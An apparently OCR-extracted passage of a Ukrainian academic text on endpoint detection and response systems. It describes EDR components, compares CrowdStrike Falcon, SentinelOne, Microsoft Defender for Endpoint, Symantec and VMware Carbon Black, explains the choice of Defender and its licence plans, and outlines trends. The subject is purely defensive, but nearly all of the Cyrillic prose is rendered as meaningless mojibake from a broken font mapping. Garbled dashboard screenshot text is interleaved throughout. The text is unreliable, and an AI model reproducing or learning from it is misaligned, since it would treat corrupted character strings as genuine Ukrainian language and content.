TaKHUX K KOMITIOTEPH, MOOUIBbHI TeTe)OHH Ta 1HII TPUCTPOT, MiIKIFOUYCHI 0 MEPEexKi.
Ocnogne 3aBaanHst EDR-cuctem — 3a0e3neuntu ranboke Ta JeTalbHE CIOCTEPEKEHHS
32 AKTUBHICTIO KIHIIEBUX TOYOK Y pe€ajbHOMY 4Yaci, IO JI03BOJSIE ONEPATUBHO
BUSIBJISITH 1 pearyBaTH Ha MOTEHIIIHHI 3arpo3u [9].

EDR-cucremu 3a3Buuaiil BKJIFO4atOTh HACTYIHI KOMIIOHEHTH:
- ATEHT KIHIIEBOTO MPUCTPOIO,

- llentpanizoBanuii cepBep aHam3y,
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- Koncons ynpasmninss,

- IuctpymenTu pearyBaHHs.

AreHT KiHIEeBOro npuctporw. HeBenukuidi mnporpaMHuili KOMIIOHEHT,
BCTAHOBJICHUH Ha KIHIIEBUX MPUCTPOSX, IKUM 30Mpae AaH1 PO CUCTEMHY aKTUBHICTb,
nporecy, (aiiyoBi omeparlii, MepeXeBy akTUBHICTH Tomlo. Llel areHt mpatroe y
GhoHOBOMY pEXHMMI Ta BiAmpaBiise 310paHi JaHi JO LEHTPai30BaHOIO CEpBEpYy IS
aHam3y.

LenTpauizoBannii cepep anajisy. Cepsep, KUl OTpUMY€ JaHi BiJl areHTIB
KIHIIEBUX TMPUCTPOIB, aHATI3ye X, BU3HAYa€ aHOMAaJii Ta MOTEHINHI 3arpo3u. Llei
CepBep MOKe BUKOPUCTOBYBATH Pi3HI AJITOPUTMH MAIITMHHOTO HABYAHHS Ta MITYYHOTO
IHTEJEKTY JJIs1 HOKPALIEHHS TOYHOCTI BUSIBJICHHS 3arpo3.

Kouncoas ynpasiainns. [HTepdeiic, axuii 103BoJisi€ aiMiHICTpaTopaM Oe3MneKu
KoHTposroBaTH 1 kepyBatu EDR mnardopmoro. KoHconb ynpaiiHHA —Hagae
IHCTPYMEHTH [UIsl MOHITOPUHTY, aHaJli3y, pearyBaHHs Ha IHIMJIEHTH Ta CTBOPEHHS
3BITIB.

IncTpymenTn pearyBaHHs. 3acoOu, W0 JO3BOJISIIOTH aJAMIHICTpaTopam
BXKMBATH 3aXOIIB JJIA HeWTpamizalii 3arpo3. Lle MoxyTh Oyt GyHKIT 11 13071111
3apaXCHUX TMPHUCTPOIB, BHIAJICHHS MIKIJJIMBOTO TMPOTPAMHOTO 3a0e3MeUYeHHs,
BITHOBJIEHHSI CUCTEMH Ta 1HIIII.

VY cydacHOMy KiOeprpocTopi, A€ KIIBKICTh 1 CKJIQAHICTh 3arpo3 TMOCTIHHO
3pOCTarOTh, TPAAMIIIHI METOAM 3aXUCTy (HANpUKIIAL, aHTUBIpYCH Ta (alpBOIIH)
cratoTb MeHIl edexktuBHUMH. EDR-cuctemu BiirparoTh KIIOYOBY pPOJb Y
3a0e3MnedeHHl 0e3MeKH 3 KUTbKOX MPUYHH.

1) IpoakTuBHe BUsiBJeHHs 3arpo3. EDR-cuctemMu 31aTHI BUSBIISATH 3arpo3u Ha
paHHIX CTajifgX, HaBITh JO TOTO, SIK BOHM MOXYTh 3aBaatu mmkoau. lle
3a0€3Meuy€eThCsl 3aBASKA IMOCTIMHOMY MOHITOPUHTY Ta aHalli3y MOBEIIHKH
porpam 1 KOpUCTyBadiB.

2) lIBuake pearyBanHs Ha iHnuaeHTH. EDR 103BoJIsIe mIBHIKO 11CHTH(IKYBATH

Ta pearyBaTM Ha IHIUACHTH O€3MeKH, MIHIMI3yI0OYM MOXIIMBI BTpaTH.
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3)

4)

5)

ABTOMaTH3aIlisl TIEBHUX AaCMEKTIB pearyBaHHS J03BOJSE CKOPOTUTH 4Yac MIXK
BUSIBJICHHSIM 3arpo3u Ta il HeMTpasi3ali€eo.

ITorudJieHe po3ciigyBanHs. 3aBAsSKA MOTYKHUM 1HCTPYMEHTaM I aHATI3y,
EDR-cucremu n103BosisitoTh (haxiBIsIM 3 KiOepOe3IeKu J1eTaJbHO PO3CIiayBaTH
IHIIUJICHTH, 3pO3yMITH METOJM Ta I1JI1 aTaKyIOUHX, a TAKOXK BXKUTH BIIOBITHUX
3aXOJiB JJIS 3aM00IraHHs TOBTOPHUX aTaK.

AnantuBHicTh 10 HOBHX 3arpo3. CyuacHi EDR-cuctemu BUKOPHUCTOBYIOTH
MaITMHHE HAaBYaHHS Ta MMTYYHUHA 1HTEJICKT IS aamnTallii 10 HOBUX 1 HEBITOMUX
3arpo3. lle no3Bonsie im Oyt epeKTUBHUMH HaBITh MPOTH THUX aTak, SKi LIE HE
OyJu 3apeecTpoBaHi B 0a3ax JaHUX BIJIOMHUX 3arpo3.

Komnuiexkcnnii miaxia 1o 6e3nexun. EDR mnatdhopmu MOXyTh IHTErpyBaTHUC 3
IHIIUMU pileHHsIMU Oe3neku, Takumu sk SIEM, 1mo go3Bosisie cTBOproBaTH
KOMITJIEKCHY CHCTEMY 3aXHUCTy IIANPHEMCTBA, SKAa OXOIUTIOE BCi aCIEeKTH

Ki0epOe3nexu.
1.4.2 TlopiBHsabHUI aHadi3 nonyasspaux EDR pimenb

V¥ cywacHomy punky EDR pimenp icHye KijbKa HpPOBIIHHUX MPOAYKTIB, SK1

BIJIPI3HSIOTECA CBOIMU (YHKIIAMH, €(EKTHBHICTIO Ta MOXJIMBOCTSIMH. Jlo HHUX

HaJICKAaTb.

- CrowdStrike Falcon,

- SentinelOne,

- Microsoft Defender for Endpoint,

- Symantec Endpoint Detection and Response,

- Carbon Black.

JlaBaiiTe po3TJITHEMO X JI€TaIbHIIIE, TOPIBHIOIOYN KITFOUOBI ACTIEKTH KOKHOTO 3

HHX.

1) CrowdStrike Falcon

Oco6MBOCTI:
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- Xwmapsna apxitekrypa. CrowdStrike Falcon mpairtoe nmoBHicTiO y XMapi, 110

33663Heqy€ IIBUAKC PO3TOPTAHHA Ta MacITabOBaHICTb.

- [lrtyunuit inTenext. BukopucroBye Al aist BUSIBICHHS Ta aHANI3y 3arpo3 y

pealbHOMY 4Yacl.

- IlpoaktuBnmii 3axuct. [locTiHHUN MOHITOPUMHT Ta aHAJITHKA MOBEIIHKU

JTIO3BOJIAIOTH BUSBIIATH aHOMAJTI1 HA paHHIX CTadisX.

- Imrerpamis 3 iHmMME cucteMamu Oesmeku. Jlerka interparis 3 SIEM Ta

SOAR piteHHsaMH.

Hosts - Hosts

Detections by severity

Prevented attacks

32

- @ A

Total hunting leads gene...  Total hunting leads inve..  Remediated detections Current CrowdScore

26 73

Activity - Detections

Cloud assets by misconfigurations

Pucynox 1.6 — Burmsin CrowdStrike Falcon

[TepeBaru naHoi CUCTEMU OXOILTIOIOTH JCKUIbKA BaXIMBUX acmlekTiB. [lepmr 3a

BCE, BOHA BUPI3HIETHCA BHUCOKOIO TOYHICTIO BHUSBJICHHS 3arpo3, 10 3abesneuye

HaJIHHUN 3axucT naHux 1 iHGopmarlii. Ile mo3Boise 3MEHIIUTH KUTBKICTh XHOHHMX

CIpalloBaHb Ta 30CEPEIUTHCh Ha JiMCHO HeOe3nmeuHux iHIuAeHTax. JlomaTtkoro,

CHUCTEMa € JIETKO MAacIITa0OBAaHOIO 3aBASKA XMapHIA apXiTeKTypi, IO pOOHTH i

3pYYHOIO JIJIsi PO3MIMPEHHS Ta aiamnTailii mija pizHi moTpedu oprauizamii. Baxxaueum

aCIeKTOM TaKOX € IIBUJIKE pearyBaHHS Ha 1HUUACHTH, 110 MIHIMI3y€ MOTEHIINHI

BTpaTH BiA MOXJIMBUX aTak. KopucTyBauli MOXyTh pPO3paxoByBaTH Ha BIAMIHY
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MIATPUMKY Ta 9acTi OHOBJICHHS, IO JO3BOJISIE 3AIMINATACH 3aXUINEHUMH BiJ HOBHX
BU/IIB 3arpo3.

[Ipote cuctema Mae i TIEBHI HEIOMIKH, SKi CIiJ] BpaXxOBYBAaTH IpH ii BUOOPI.
OnHUM 3 HUX € BIAHOCHO BHUCOKA BAapTICThb, III0 MOXE OYTH CYTTEBOIO MEPEIIKOI0I0
JUIsS. HEBEJIMKMX KOMIIaHIM abo opranizarii 3 obmexeHuMm OromxeTrom. Kpim Toro,
3aJICKHICTh BiJ] XMapHOi 1H(PACTPYKTYpH MOKE CTaTH MPOOJIEMOIO IS JIESIKUX
oprasizailiif, oCoOJMBO SKIIO BOHH MalOTh OOMEXEHHH JOCTYIl J0 CTallILHOIO
1HTepHeT-3'eAHaHHA a00 CyBOp1 BUMOTHU 11o/0 30epiranHs ganux. L{i daxTopu cmig
peTenbHO OLIHUTH Tepell BIPOBAKEHHSM CHCTEMH Ui 3a0e3leueHHs il
BIJIMOBITHOCTI KOHKPETHUM NOTpedaM Ta yMOBaM OpraHi3aiiii.

2) SentinelOne

Oco06HUBOCTI:

- ABTOHOMHUM 3axUCT. MOXKIIUBICTH pOOOTH 06€3 MOCTIMHOTO MiAKITIOYEHHS

0 IHTCpHeTy, 3aBJSAKH JIOKAJIbHUM aJITOPUTMaM Al

- ABTOMaTH30BaHE pearyBaHHsA. ABTOMaTu3aiisi 0araTb0X IMPOIIECIB

pearyBaHHsI Ha 3arpo3H, 1110 3MEHIIY€ Yac BITHOBJICHHS.

- TloBHuIi KOHTPOJb Haa KIHIICBUMH ToukamMu. Bxirouae ¢yHKIii, 10

JTIO3BOJISIFOTh 3YMUHSITH, 130JIF0BATH 1 BIHOBIIOBATH KiHIIEBI TOUKH.

| -~ @)  scanNetwork 20 Results +

f 192.168.10.135 05X % Cannotbe protected  CE LINK LIMITED Ping | (Scan | (Agent 22 80 243 22 (80| (443
192.168.10.12: 0 @ Protected d ng 2 0 22
192.166.10.135 10 @ P d CE LINKLIMITED DNS | | P 2280 2

19216810135 05X ® Cannot be protected

CE LINKLIMITED Ping  [Scan | (Agent 22

192.168.10.135 05X CE LINKLIMITED DNS 22 80 22|80 443

19216810135 05X @ Protected CE LINKLIMITED Agent 22|53

& Workstation " A wRaw Data )
/ 152168035 88evfe:78:6¢:0e covere
<

@ Protected

22 |[80|[ 423

192.168.10.135 10 @ Protected CE LINK LIMITED Ping | |Scan  |Agent 22| 80 22
192.168.10.135 05X @ Protected CE LINK LIMITED Ping | | Scan 2 22 80

192.168.10.135 05X @ Protected CE LINK LIMITED DNS 2 22 (80

Pucynok 1.7— Burnsig SentinelOne
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[TepeBaru 11i€1 CUCTEMU BKJIFOYAIOTH KUJIbKA BAXKJIMBUX ACTIEKTIB, IO POOJIATH i1
npuBaOIMBOIO /Il OaratboX KOpUCTyBadiB. OIHIEIO 3 KIIOYOBUX IMEpPEBar € BHCOKa
IIBUIKICTh BUSBJIICHHS Ta pearyBaHHS Ha 3arpo3d, M0 JO3BOJISAE€ IIBHIKO
HEWUTpai3yBaTH TNOTEHIIMHI pHU3UKM 1 3axucTuth jga”i. Cucrema TakoX Mae
MIHIMaJbHUM BIUIMB Ha IMPOAYKTHUBHICTh, IO O3HA4ae, IO BOHA He Oyje
CHOBUIBHIOBAaTH pOOOTYy IHIIMX mporpaMm abo cucteMHux mporeciB. Lle ocobmmBo
BKJIMBO JJIsI OpraHi3allii, e MBUJAKICTb 1 €PEKTUBHICTh POOOTH € KpUTUUYHUMH. Kpim
TOTO, CUCTEMa BI3HAYAETHCS 3PYUYHHM IHTEP(PEHCOM Ta JIETKOI IHTETpaIli€ro, IIo
poOUTH 11 MPOCTOIO Y BUKOPUCTAHHI HABITH JJI TUX, XTO HE MA€ TTTUOOKUX TEXHIYHUX
3HaHb.

OpHak € i meBH1 HEJIOJIIKY, SIK1 CJIIJl BpaxyBaTu. BapTicTe cucremu Moxe OyTH
BHUCOKOIO, IIO0 CTaHE MEPENIKOAOI JUIs NesakuxX Komradii. Ille olHUM BaKIMBUM
aCIIEKTOM € Te, 1[0 HAAIITYBaHHS Ta MATPUMKA CHCTEMHU TIOTPEOYIOTh IEBHUX 3HAHbD.
Ile o3Hauae, moO 11 €()EKTUBHOTO BUKOPUCTAHHS CHUCTEMH MOXE 3HAJTO0OUTHCS
J01aTKOBE HaBYaHHS a00 3aidydeHHs (axiBIliB, 1 II€ TaKOX ITIJIBHUIIUTH 3araljbHi
BUTPATH Ha BIPOBAKEHHS Ta EKCILTyaTaIlifo.

3) Microsoft Defender for Endpoint

Oco06HUBOCTI:

- Inrerpauis 3 exocucremoro Microsoft. I'mnboka interpamis 3 Windows,

Azure Ta iHmMMH cepBicamu Microsoft.

- XwmapHe ynOpaBiiHHS. BUKOpUCTaHHS XMapHMX TEXHOJOTIA st

MOHITOPUHTY Ta pearyBaHHs Ha 3arPO3H.

- ApamTtuka Ta 3BiTH. Haganus AQOKJIagHUX 3BITIB Ta AHAJIITUKHU 10O

IHIIAAEHTIB OE3IIEKH.

- Po3mmpeHi MOXIMBOCTI BUSBJICHHS. BUKOpHCTaHHS  MallMHHOTO

HaB4YaHHA AJI BUABJIICHHA aHOMAaJbHO1 HOBCI{iHKI/I.
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Microsoft Endpoint Manager admin center

admin@MSsDx209125.0...
CONTOSO (MSDX209125.0NMIC....

Home > Devices Create a profile
(3t Devices | Configuration profiles
Dashboard = 7
= Administrative Templates
= All services O Search (Ctrl+/) —+ Create profile == Colurr Custom @
J  FAVORITES -
Device enrollment | Search by name Delivery Optimization @
[J Devices

& Apps

@ Endpoint security

. Profile name T
Enroll devices

i0S device restrictio.
Provisioning

Win10-DeviceConfig...

Platfo

i0S/iP

Winde

Device Firmware Configuration Interface (3
Device restrictions (

Device restrictions (Windows 10 Team) O

Gl Reports @ Windows 365
Domain Join @
A& Users Polic: ~
¥ Edition upgrade and mode switch @
&h Groups Compliance policies Email ©
mail
L3 Tenant administration O Conditional access .
Endpoint protection O
K Troubleshooting + support E] Configurati
-~ PP ] Configuration profiles
o P Identity protection
B Scripts -
cles Kiosk ©
[E Group Policy analytics (preview) , i o
° ’ ’ Microsoft Defender for Endpoint (Windows 10 Desktop) @
22 Windows 10 update rings e
28 Windows 10 feature updates

(Preview)

Pucynok 1.8— Burmsin Microsoft Defender for Endpoint

[lepeBaru 11i€i cucTeMu poOJISATH 11 0COOIMBO MPUBAOIMBOIO JJI OpraHi3allii,
K1 B)XK€ BUKOPUCTOBYIOTh NMPpoaAyKTH Microsoft. [HTerpaiiisi 3 HasBHUMU MPOAYKTaAMU
JIO3BOJIIE CIPOCTUTU MPOIEC HAJAIITYyBaHHS Ta 3MEHIIUTH 4Yac, HEOOXITHUU IS
afganTanii npamiBHUKIB. CHcTeMa BIJIPI3HSAETHCS BIJIHOCHO HHU3BKOKIO BapTICTIO Yy
NOPIBHSHHI 3 1HIIMMH PIMIEHHSMU HA PUHKY, IO POOUTH 1i €KOHOMIYHO BHI1JTHUM
BUOOpOM J1s1 Oaratbox opradizauii. [IoTyXHI aHaIITHYHI MOXJIHMBOCTI Ta THYYKE
HaJAIITyBaHHS IO3BOJISIOTH aJIalTyBaTH CUCTEMY IiJl crieludiuHi MOTpeOr KOMIIaHii,
3a0e3Meuyrour BUCOKHI PIBEHD 3aXKCTY Ta 3pYUYHICTh BUKOPHUCTAHHS.

Opmnak, cuctemMa Mae i TeBHI HefoJIiKM. BoHa onTuMi3oBaHa JJIs onepariiHol
cuctemu Windows, 110 MOXK€ CTBOPIOBATH OOMEKEHHS JUIsl KOPUCTYBAdiB I1HIIHUX
orepariiHux cucteM. Lle MoXke yCKIaJHUTH BUKOPHUCTAHHS JIJIS THX, XTO TPAITIOE B
3MIIIAHUX CepeoBUIaX abo BUKOPUCTOBYE pi3H1 miatdgopmu. Kpim Toro, HOBI
KOPUCTYBadl MOXXYTh CTHKATHUCS 3 TIEBHHUMH CKJIQTHOINAMH TIPH HalamTyBaHHI
CUCTEMH, III0 MOXKE€ BHMAaraTd JOJATKOBOTO dYacy 1 PECypciB Uil HaBYaHHS Ta
amarrrarii. L{i acexTu ciij BpaxoByBaTH IPU BUOOPI ITi€T CUCTEMU JIJIs1 BIPOBAKEHHS
B Oprasizariii.

4) Symantec Endpoint Detection and Response

Oco0JIMBOCTI:

- MamuHHe HaBYaHHS. BI/IKOpI/ICTOBy€ MalllMHHEC HaB4YaHHA OJIs BHUSBIICHHA

aHOMAJTIi Ta 3arpo3.
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- InTerpauis 3 Symantec Security. [Ipaitoe B pamkax ekocuctemu Symantec,

10 JT03BOJIsIE BAKOPUCTOBYBATH 1HIII MPOTYKTH KOMITaHi1.

- I'mabGoke poscmimyBaHHsA. [HCTpyMEHTH i ACTAJIBHOTO aHami3y Ta

PO3CIIiTyBaHHS 1HIIUJICHTIB.

m ? e R R P

Q) tndpoint O i A

Device Security Status © Recent Security Events ©

2
Q
®
i
o
@

Recent Devices With Unresolved Threats © Device License Usage

11500

Pucynox 1.9 — Burnsin Symantec Endpoint Detection and Response

[lepeBaru 1i€i cucTeMH OXOIUTIOIOTH K1JIbKa KJIFOUOBUX aCMEKTIB, IO POOIATS il
MPUBAOJIMBOIO JIs1 Oaratbox opranizaiii. OJHIEIO 3 TOJOBHUX MEpEBar € iHTerparis 3
IHITUMU TPOAYKTaMHU Symantec, 1o 3a0e3rnedye KOMIUIEKCHUH miaxifa 1o 6esnexu. e
N03BOJIsIE €(DEKTUBHO YIPABIISITH 3aXUCTOM HA PI3HUX PIBHAX Ta 00'€HYBaTH Pi3HI
IHCTpYMEHTH B €nuHy cuctemy. CydyacHl TEXHOJIOTi, SIKi BUKOPHUCTOBYIOTHCS B
cucTeMi, 3a0e3MeuyroTh BUCOKY €(EKTHUBHICTh BUSBICHHS 3arpo3, M0 € KPUTHIHUM
JUIS 3aXHCTy BiJ HOBHX Ta CKJIagHuUX arak. [lomaTkoBo, cucrtemMa MiATPUMYE
pPI3HOMaHITHI ONEparliiiHi cUCTeMHU Ta MiIaThOpMH, 10 POOUTH ii yHIBEPCATHHOIO 1
3pYYHOIO JJIsl OpraHi3alliid 3 pi3HUMH TEXHOJOTTYHUMU CEPEOBUIIIAMH.

[Ipote, cuctema mMae 1 CBOi HEMOJIKHU, SKI CI1J] BpaxoByBaTH. BapTicTh Moxke
OyTH BHCOKOI [JIsi JACSKUX OpraHizaiiii, 0coOJIMBO IS MaJUX KOMMaHId 3
oOMexxeHnMH OrokeTamu. Lle Moke cTaTh CyTTeEBUM Oap'epoM AJis BIPOBAIKEHHS
cucreMd. KpiM TOro, MOXyTh BHUHHUKATH CKJIAQIHOIII 3 I1HTETPALll€l0 CHUCTEMHU 3
IPOIYKTaMHU CTOPOHHIX BHUPOOHMKIB, II0 MOXKE OOMEXHUTH ii (DYHKI[IOHAJIBHICTH Y

sMminranux cepenoBumiax. Ili ¢akropu mOTpeOyIOTh PETETHLHOTO aHANIZy Nepen
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OPUMHATTAM PIINIEHHA TMpO BIPOBAKEHHS CHUCTEMH, 1100 3abe3meunTu

BIIMOBIAHICTD MOTpeOaM opraHizariii.

5) VMware Carbon Black Cloud

Oco0JIMBOCTI:

1

- Xwmapna miatdopma. Ilpairoe y xmapi, 3a0e3nedyr0odr MaciTaboBaHICTh

Ta MIBUAKE PO3rOpTaHHA.

- TloTyxHi 1HCTpyYMEHTH aHaiizy. Bucokuii piBeHb jeraiizallii

MOSKJIMBOCTI JUISL PO3CIIiTyBaHHSI 1HIIUICHTIB.

Ta

- ABToMarm3aris peakiiii. MoXJIHBICTh aBTOMAaTHYHOTO OJIOKYBaHHS Ta

1307151111 3arpo3.

- Iwrerpamis 3 VMware.

BUKOPHUCTOBYIOTH 1HIII TPOayKTH VMware.

VMware Carbon Black Cloud

Oco0MBO KOpHMCHA JIJIsi OpraHizailii, Io

) ALERTS
Orpanization =

FILTERS Cwar 1 &
@ Dashboard

Type ()

A Alerts

» Investigate

@ Live Query >
Priocity (1)
3 Entorce
e % Targetvalue  Alert severity

F Vulneradsities

I 3
O taventory > LS|
4+ Device(n)
+ Procen(n)

Workflow (2)

[ffective Reputation (2)
Run Status @)
Policy Statws ()

Senser Acticn (4)

+ |+ +

Poscy @)

& Colapse

-

Other Activity ()

25 resutes

[ stamus
o © Policy Applied
O ¢
Q S
g

© Policy Applied
o &
o © Policy Applied
O Sae

Showng 1125 0 2%

Notifications v

Group averts COED)

FIRSTSUEN w REASON s DIvICE ALERT DETAILS
Aler1 10 95FCIAI2-4085-450C-ADSE-2FFOSEIIFCAL

a4 pm Accen attempted on unapproved USE device OC2 Tee LAY
Nov 19,2020 (SN 07991 707D00SCFCE). A Deny Pelicy Action was DESKTOP
appled

c Unspproves U8 Gevice
oxseow > oz 008

USB DEVICE

107DOBCFCE), A Deny Policy

Approve v

o > Verdos ocz
a1 ¥e
Zee
@100
OIITOOBRFCH

S DEVICE
o DESKTOP.REMOOY

DESKTOP 123566 Nest PC
Windows 10364
1709m

NOTES & TAGS

Kems per page

Pucynox 1.10 — Burnsig VMware Carbon Black Cloud

ITepeBarm 111€i cucTeMu poOaATH 1 0COOJMBO NPHBAOIMBOIO IS BEIUKUX

opraHizaiii 3 po3mnoiijaeHo0 1HPPACTPYKTypor. Bucokuii piBeHb KacToMmizallii Ta

HaJallITyBaHb J03BOJISE aJIallTyBaTH CUCTEMY JI0 clienu(IYHUX MOTped KoMMaHii, 1o

3a0e3nedye MaKCUMaJIbHO €(EeKTHBHE BHUKOpHCTaHHS ii MoxumBocTei. I[loTyxHi

aHAJITUYHI MOXJIMBOCTI CUCTEMH HaJar0Th TNIMOOKUN aHaji3 JJaHUX Ta 3arpos, 1o

CHpUsi€ TPUUHATTIO OOTPYHTOBAHUX pillleHb 11040 Oe3neku. Lle 0ocobimBo BaxiIMBO
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JUIS BETUKUX OpraHizaiiii, e HeoOX1AHO 0OpOoOIATH BEIUKY KUIBKICTh JAHUX 1 3arpo3
Ha PI3HUX PIBHSX.

[Ipote icHYIOTH 1 A€SIKI HETOMIKH, K1 HEOOX1HO BpaxyBaTHu. BapTicTs cuctemMu
MOKe OyTH BHCOKOIO, III0O MOXKE CTAaTH CYTTEBHM Oap'epoM ISl MajduX KOMIIaHIA 3
obmexxeHuM OropkeToM. Llelt dakTop Moke OOMEXHTH JOCTYIHICTh CUCTEMH IS
JpiOHIIINX OpraHi3ailiii, He3BaXXarouu Ha 11 MOTY>KH1 MOKIJIUBOCTI. Kpim Toro, cucrema
oTpedy€e MOCTIHHOTO 1HTEPHET-3'€HAHHSA JJII pOOOTH XMapHUX (YHKIIIH, 1110 MOXKE
OyTH mpoOIEMOI0 B CEpelOBHINAX 3 HECTaOLIbHUM a00 OOMEXEHHUM JOCTYIOM J0
iHTepHeTy. Lli acmekTu ciif peTeNbHO OIIHUTU Mepe] NMPUUHATTAM PILICHHS PO
BIIPOBAPKCHHS CUCTEMH, 11100 3a0€3MeYuTH i1 BiIMOBIAHICTh KOHKPETHUM YMOBaM Ta

noTpedam opraHizariii.
1.4.3 Microsoft Defender for Endpoint

[Ticns anam3zy Beix onucaHux miargopm Oyno odpano Microsoft Defender for

Endpoint. OcHOBHUMH IepeBaramu, 110 BILUIMHYJIMA Ha el BUOIpP, € HACTYIIHI.

1) ImTerpanis 3 npoaykramu Microsoft

Microsoft Defender for Endpoint nerko iHTerpyerbes 3 IHITUMH MPOIYKTaMHU
Microsoft, Takumu sk Azure, Office 365, Ta Windows Server. Active Directory (AD)
Ha Windows Server € MOTyXHHUM 1HCTPYMEHTOM JUIsl KEpyBaHHS KOPHUCTyBauaMH,
KOMIT'IOTEpaMH Ta IHIIUMH pEeCypcaMH B JIOKaIbHIN Mepexi. Bukopucranns AD
JI03BOJISIE TIEHTPATI30BaHO KEPYBATU JOCTYIIOM JI0 PECYPCIB, MOJITUKAMHU O€3MEeKH, a
TaKOX CHPOIIY€E aIMIHICTPYBaHHS MEPEXKI.

2) Hlupoxwuii criekTp QyHKIIH 3aXUCTY

Microsoft Defender for Endpoint mpononye mmpokuii criekTp (QYHKIUN IS
3aXMCTy KIHIIEBUX TOYOK, BKJIIOYAIOYM pPO3IMIMpEeHud 3axuct Big 3arpo3 (ATP),
aBTOMATHU30BaHE pearyBaHHS Ha IHIMICHTU, Ta MOXJIMBOCTI PO3CIITyBaHHS 3arpos.
[le nomomarae edeKTHMBHO BUSBISATA Ta pearyBaTH Ha cydacHi KiOep3arposmu.
BukopucTaHHs MallMHHOTO HABYaHHS Ta IITYYHOTO 1HTENEKTY no3Boiisie Microsoft
Defender for Endpoint nmpoakTHBHO BUSBISTH MMiI03pITY aKTUBHICTH Ta MOTEHITINAHI

3arpo3u, 10 3HAYHO MIJIBUIIYE PIBEHb OC3IMEKHU.
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3) IlinTprMKa XMapHUX PillICHb

[TnatdopMa miaATpUMY€E XMapHI PIIICHHS, 110 JI03BOJISIE 3a0€3MEYUTH 3aXHUCT IS
Opraizailiii 3 po3nojaiieHo0 IHPPACTPYKTYpOIO Ta BiAJaJeHUMH TpaniBHUKamMu. Le
TaKOX CIPOLIY€E MAacIITa0yBaHHS Ta YIPaBJIiHHS O€3MEKOI0.

4) ABTOMAaTH30BaHE pearyBaHHS Ha THIMICHTH

Microsoft Defender for Endpoint Hagae MOXIHMBICTH aBTOMAaTH30BaHOTO
pearyBaHHs Ha I1HUUICHTH, IO JO3BOJIAE€ IIBUAKO HEHUTpalli3yBaTH 3arpo3u Ta
MIHIMI3YBaTH iX BIUIMB Ha opraHizaiiro. [Imargopma npononye noTyxHi iIHCTpyMEHTH
JUISL QHAJIITUKY Ta 3BITHOCTI, IO JIONIOMAara€ BUSIBIISITU TPEHIU, aHATI3yBaTH 3arpo3u
Ta MOKpPAIyBaTH CTPATET1I0 OE3IMEKH.

5) Bucokwii piBeHb MATPUMKH

Microsoft Hajmae BUCOKHMM pIBE€Hb IMATPUMKHA Ta Ma€ IIHUPOKY EKOCHCTEMY
NapTHEPIB, 110 3a0e31euy€ HaIHHICTh Ta MOKJIMBICTb OTPUMAHHS TI0AATKOBUX TIOCITYT
Ta KOHCYJIbTALIIN.

Microsoft Defender for Endpoint npornonye aexinpka BapiaHTIB JIIEH3YBaHHS,

K1 MOKYTb 33JIOBOJIBHUTH MOTPEOU PI3HUX OpraHizalliil:

- Microsoft Defender for Endpoint Plan 1 (P1): ba3soBwuii piBeHb 3axucry,
BKJIFOYA€ OCHOBH1 (DYHKIII 3aXHUCTy KIHLIEBHX TOYOK, TakKi K aHTHUBIPYC,

KOHTPOJIb JOJIaTKIB, 1 YIIPaBI1HHS BPa3JIUBOCTIMH.

- Microsoft Defender for Endpoint Plan 2 (P2): Po3mmpenuii piBeHb 3aXUCTY,
BKItouae Bcl (yHkiii Plan 1, a Takoxx 0JaTKOBI MOXJIMBOCTI, Takl SIK
posumpene BusiBieHHs Ta pearyBanHs (EDR), aBromatuszoBane pearyBaHHs

Ha IHIUJACHTH, PO3IIMPEHa aHAITHKA 3arpo3, 1 3aXUCT BiJl MEPEIOBUX 3arpo3

(ATP).

- Microsoft 365 ES Security: Bxitouae B cede Bei ynkuii Microsoft Defender
for Endpoint Plan 2, a Takoxx n1oaaTkoBi 3acodu 0e3neku Microsoft 365, Taki
sk Microsoft Cloud App Security, Azure Active Directory Premium P2, i

Microsoft Information Protection.
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- Microsoft Defender for Business: CnerianpHO po3po0ieHa ajis Malux Ta
CepeAHIX MANPUEMCTB, BKIIFOYAE B ceOe (DYHKINT 3aXUCTY KIHIIEBUX TOYOK Ta
npocTHil iHTepdEeic 11 YIpaBIiHHI 0€3MeKOIO.

JlinensyBannss Microsoft Defender for Endpoint 3a3Buuaii 6a3zyerbcs Ha
KUTBKOCTI KIHIIEBHX TOUYOK a0O KOPHUCTYBadyiB, IO O3BOJIAE OpraHizallisiM THYYKO

MaciTadyBaTH PIIICHHS BIJMIOBIIHO JI0 CBOIX MOTpeEO.
1.4.4 Tenpenuii po3Butky EDR TexHoJoriii

VY cydacHOMy CBITI TEXHOJIOTIi MMOCTIHHO €BOJIOLIOHYI0Th, 1 EDR mnardopmu
HE € BUHATKOM. [X PO3BHTOK CIPSAMOBAaHMil Ha MiABUIIEHHS €()EKTUBHOCTI 3aXHCTY
KIHIIEBUX BY3JIIB MEpEXk1 Bl HOBITHIX KiOep3arpo3. Po3rissHeMO OCHOBHI TE€HIEHIII]

po3Butky EDR texHnosnoriii.

1) BHKOpHCTAHHS IMITYYHOTO iHTEJIEKTY Ta MAIIMHHOT0 HABYAHHSA

Mryuynnit inTenext (Artificial intelligence, Al, IIII) Ta MamuHHEe HaBYaHHS
(Machine learning, ML, MH) ctaroTh KIl04OBUMH KOMIIOHEHTaMu cydacHux EDR
maTdopM. 3aBIASKH ITUM TEXHOJIOTISIM CUCTEMH MOXXYTh aBTOMATHYHO aHAJIi3yBaTH
BEITMYE3HI OOCSTH JTaHUX, BUABJISATH aHOMaJli Ta mependadatu HoBi 3arposu. LI ta

MH no3Bonsitors EDR mnatdopmam:

- ABTOMAaTHYHO BHSIBJISTH CKJIAIHI 3arpo3u. 3aBISKH aHali3y MOBEIIHKU
IPOrpaMHOTo 3a0€3MeYeHHs Ta KOPUCTYBAviB, CHCTEMH MOXYTh PO3II3HABATH

M1I03pLii 1, K1 CBIIYATh MPO KidepaTaky.

- IligBumryBatu TOYHICTH BUSIBICHHS 3arpo3. MalllMHHE HaBYaHHS J03BOJISE
CHCTeMaM  HaBYaTHCS Ha TOMNEPENHIX  IHIUJEHTaX Ta  MOCTIHHO

BAOCKOHAJIKOBATH AJITOPUTMHU BUSABJICHHA.

- 3MeHIYBaTH KUIbKICTb TOMMJIKOBUX CHpPAllbOBYBaHb. 3aBISKH OUIbII
TOYHOMY aHaTI3y JaHUX, CHCTEMU MOXYTh 3MEHIIIUTH KUTHKICTh IIOMUIIKOBUX
TPUBOT, IO MIABUIIYE €PEKTUBHICTH pOOOTH KOMaH U KiOepOe3meKH.

2) Imrerpanis 3 inmumu cucremamu kKioepoesnekun (SIEM, SOAR)
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EDR nnatdopMu craioTh Bce OUIBII IHTETPOBAHUMH 3 IHIIMMHU CHCTEMaMU

